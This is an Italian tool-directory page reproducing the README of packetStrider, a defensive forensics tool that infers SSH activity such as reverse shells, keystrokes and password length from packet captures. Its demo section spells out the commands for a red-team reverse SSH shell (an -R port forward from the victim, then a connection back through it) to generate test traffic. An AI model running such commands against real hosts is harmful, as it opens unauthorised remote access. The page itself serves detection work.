Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
packetStrider — Uno strumento di analisi forense dei pacchetti di rete per SSH | Kitploit
Strumenti/GitHubGitHub/benjeems/packetstrider
Sniffing e Analisi dei PacchettiNetwork ForensicsInformatica ForensePenetration TestingMachine LearningRilevamento IntrusioniRed TeamingRilevamento di Anomalie
GitHubbenjeems/packetstrider

packetStrider

Uno strumento di analisi forense dei pacchetti di rete per SSH

Vedi Repository
2543966 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Packet Strider (v0.21)

testo alternativo

Riepilogo

packetStrider per SSH è uno strumento di analisi forense di pacchetti che mira a fornire preziose informazioni sulla natura del traffico SSH, illuminando gli angoli del traffico di rete SSH dove prima giacevano pepite d'oro di informazione nell'oscurità.

Il problema che packet strider mira ad aiutare (AKA Perché?)

SSH è ovviamente crittografato, ma informazioni contestuali preziose esistono ancora nel traffico di rete che possono contribuire a TTP, intenzione, successo e entità delle azioni sugli obiettivi. Potrebbero anche esistere situazioni in cui il contesto prezioso non è disponibile o viene eliminato dagli host, e quindi avere una cattura di rete passiva immutabile e non alterabile fornisce un contesto forense aggiuntivo. "I pacchetti non mentono".

Separatamente dal contesto forense, le previsioni di packet strider potrebbero anche essere utilizzate in modo attivo, ad esempio per shun/RST connessioni in avanti se viene prevista una caratteristica di avvio di sessione SSH inversa tunnelata, anche prima che venga offerta l'autenticazione inversa.

Le tecniche generali di packet strider (AKA Come?)

  • Costruisce un ricco insieme di feature sotto forma di pandas dataframes. Oltre 40 feature sono ingegnerizzate a partire da metadati dei pacchetti come contenuto del messaggio del protocollo SSH, statistiche normalizzate, direzione, dimensione, latenza e feature a finestra scorrevole.
  • Scorre attraverso questo insieme di feature numerose volte utilizzando finestre scorrevoli (Ispirato dalle Reti Neurali Convoluzionali) per prevedere:
Scarica lo strumento
  • L'uso dell'opzione -R nella sessione forward - questo è ciò che abilita una connessione inversa da effettuare successivamente nella sessione. Questo artefatto viene scoperto molto presto nella sessione, subito dopo che la sessione forward è stata autenticata. Questo è il primo segnale di avvertimento disponibile che le sessioni inverse sono possibili.
  • Avvio della sessione SSH inversa, questo può avvenire in qualsiasi momento (presto o tardi) nella sessione forward. Viene scoperto prima che la sessione inversa venga autenticata con successo. Questo è il secondo segnale di avvertimento, nel senso che una sessione inversa è stata appena richiesta e impostata per l'autenticazione.
  • Successo e/o fallimento dell'autenticazione della sessione inversa. Questo è il terzo e ultimo segnale di avvertimento, dopo questo punto sai che qualcuno è sul tuo host, all'interno di una sessione inversa.
  • L'uso dell'opzione -A (SSH Agent Forwarding), che consente al client di condividere le proprie chiavi private SSH locali con il server. Questa funzionalità è generalmente considerata pericolosa. Riferimenti: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
  • Tutte le previsioni e i report dei metadati su base stream per stream.
  • Umano o scriptato, basato su delta temporali.
  • Il server è già noto al client? o è stata la prima volta che è stata fatta una connessione tra i due. Questo viene fatto attraverso delta dei pacchetti associati a known_hosts.
  • Se è stata utilizzata autenticazione tramite certificato client o password, e se la lunghezza della password è di 8 caratteri o meno.
  • sequenze di tasti, pressione del tasto cancella, pressioni del tasto Invio (taglia e incolla e su/giù è YMMV/sperimentale).
  • previsioni di movimento dati exfil/infil sia nelle sessioni Forward che Reverse.
  • Funziona su sessioni interattive così come su applicazioni di trasferimento file basate su ssh (es. scp, putty, cyberduck ecc).

Per iniziare

È stato utilizzato Python3, e avrai bisogno dei seguenti moduli (YMMV su python2)

pip3 install pandas matplotlib pyshark

Utilizzo:

python3 packetStrider-ssh.py -h

Output:

root@kitploit:~
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
                             [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
                             [-w WINDOW] [-s STRIDE]

packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  pcap file to analyze
  -n NSTREAM, --nstream NSTREAM
                        Perform analysis only on stream n
  -m, --metaonly        Display stream metadata only
  -k, --keystrokes      Perform keystroke prediction
  -p, --predict_plot    Plot data movement and keystrokes
  -z ZOOM, --zoom ZOOM  Narrow down/zoom the analysis and plotting to only
                        packets "x-y"
  -d DIRECTION, --direction DIRECTION
                        Perform analysis on SSH direction : "forward",
                        "reverse" OR "both"
  -o OUTPUT_DIR, --output_dir OUTPUT_DIR
                        Directory to output plots
  -w WINDOW, --window WINDOW
                        Sliding window size, # of packets to side of window
                        center packet, default is 2
  -s STRIDE, --stride STRIDE
                        Stride between sliding windows, default is 1

Esempio

Il pcap "forward_reverse.pcap" proviene da un comune TTP di una shell SSH inversa, un favorito di tutti i red team. Nello specifico, sono stati utilizzati i seguenti comandi per evidenziare le capacità di packet strider in modo semplice:

  • Connessione forward dalla vittima

    • Il comando per la sessione forward era ssh [email protected] -R 31337:localhost:22 che lega la porta locale 31337 pronta per la connessione SSH inversa di ritorno al PC vittima. Questa connessione può essere effettuata in molti modi, incluso manualmente, tramite RCE, SSRF, o qualche forma di persistenza. Ai fini di questa demo, è una sessione forward standard manuale.
    • Questa NON era la prima volta che il client vedeva il server, lo vediamo perché il delta per i pacchetti correlati era molto piccolo, l'impronta della chiave del server era già in known_hosts del client, quindi all'utente non è stato chiesto di aggiungerla - il che aumenterebbe la latenza dei pacchetti.
    • Due tentativi di login con password falliti consecutivi da parte di un umano, seguiti da un login riuscito con una password di 8+ caratteri.
    • ls viene digitato nella sessione forward, in questa sequenza: 'l' 'w' 'w' 'back-space' 'back-space' 's' e poi invio. La dimensione totale dei dati trasmessi sulla rete (come output di ls) è classificata come infiltrazione, dato che è in entrata.
  • Ora sulla macchina dell'attaccante (il server), viene avviata una shell inversa di ritorno alla vittima:

    • ssh victim@localhost -p 31337. A questo punto, che è anche prima che inizi il processo di autenticazione, packet strider ha identificato l'avvio della sessione SSH inversa, al pacchetto 72
    • Ora l'attaccante ha una shell inversa sull'host vittima. Da qui possono disattivare le impostazioni di cronologia ed eseguire qualsiasi movimento laterale o malefatte di saccheggio desiderino. Gli esempi semplici in questa demo sono riconoscimento iniziale dell'utente.
    • last viene eseguito sotto forma di sequenze di tasti 'l' 'a' 's' 'r' 'canc' 't' 'invio'
    • who viene eseguito sotto forma di 'w' 'h' 'o' 'invio'
    • exit viene eseguito sotto forma di 'e' 'x' 'i' 't'
  • Poi infine con la sessione Forward la sessione viene chiusa, solo per dimostrare che il rilevamento delle feature SSH forward funziona ancora.

    • exit

Il traffico di rete da questa attività viene salvato in tcpdump.pcap e ora è il momento di eseguire Packet Strider.

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

Output dello schermo

Questo plot mostra una linea temporale delle previsioni chiave (l'immagine è stata annotata qui) Linea temporale delle sequenze di tasti

Questo plot mostra alcune statistiche delle finestre, utili per un approfondimento e per sperimentare con le feature.
Statistiche dei pacchetti di movimento dati

Questo plot mostra un semplice istogramma Istogramma semplice dei pacchetti

Ispirazione

Questo progetto è stato realizzato come Proof of Concept personale, come modo per me di esercitarmi con alcune librerie di data science in Python, è stato fortemente ispirato dai miei studi su Coursera in Machine Learning e Data Science, in particolare la libreria pandas e il modo in cui le Reti Neurali Convoluzionali (CNN) "scorrono" attraverso set di pixel di immagini utilizzando finestre scorrevoli per rilevare determinate feature all'interno.

Consigli

Packet Strider fa una vasta quantità di "scorrimento" in modalità piena capacità. Questo può comportare un uso sostanziale di risorse se il pcap è grande, o più precisamente se ci sono molti pacchetti nel pcap. Ecco alcuni consigli per accelerare, questi sono particolarmente utili come esecuzione iniziale ad esempio solo per vedere se è stata prevista attività SSH inversa, e poi aggiungere funzionalità se desideri.

  • Assicurati di eseguire con le ultime patch dei moduli che fanno il lavoro pesante, ad esempio pyshark/tshark, pandas e matplotlib.
  • L'opzione -p --predict_plot è l'operazione più intensiva. Pensa di eseguire solo con l'output sul terminale, e poi vedere se desideri che venga plottato.
  • Usa l'opzione -m --metaonly. Questa recupera solo i metadati di alto livello come nomi di protocollo e dati HASSH. Può essere utile per determinare rapidamente se hai a che fare con una sessione interattiva usando OpenSSH, o con un client di trasferimento file come Cyberduck.
  • Pre-filtra il pcap al traffico ssh.
  • Pre-filtra il pcap allo stream che desideri, che potresti aver appreso eseguendo precedentemente con la veloce opzione -m --metaonly. Puoi esaminare solo lo stream "NSTREAM" con l'opzione "-n NSTREAM", oppure pre-filtrare con wireshark ecc.
  • Potrebbero esserci volte in cui identifichi qualcosa di interessante in un sottoinsieme di un insieme di pacchetti molto grande. Qui puoi usare la funzione zoom per esaminare e plottare solo i pacchetti nella regione che ti interessa. Usa -z ZOOM, --zoom ZOOM per questo. ad esempio -z 100-500
  • La maggior parte delle volte sarai interessato a capire l'attività delle sequenze di tasti, quindi mentre non usare l'opzione -k farà risparmiare velocità di elaborazione, significa anche che non otterrai questa preziosa intuizione.

TODO

  • Più protocolli!
  • Valutare il multi-threading e vedere dove può aiutare la velocità di elaborazione.
  • Migliorare l'efficienza dello script, in particolare i tempi di plottaggio.
  • Migliorare l'indicatore di Incolla
  • Migliorare l'indicatore del tasto 'su/giù'
  • Annotare i plot con imagemagick o simile
  • Migliorare la funzione di report, scrivere su disco.
  • L'indicatore del tasto Reverse è conservativo perché a causa dell'incapsulamento dei pacchetti può potenzialmente segnalare due sequenze di tasti. Questo problema non esiste per le sequenze di tasti forward, poiché l'ordine dei pacchetti è stato gestito nel caso arrivino fuori sequenza. Esaminare le opzioni qui.
  • Portare in golang per velocità
  • Modalità in tempo reale
  • Esaminare l'effetto del tunneling aggiuntivo di porte locali sulla connessione forward.

Dichiarazione di non responsabilità

Usa a tuo rischio. Vedi i termini di licenza.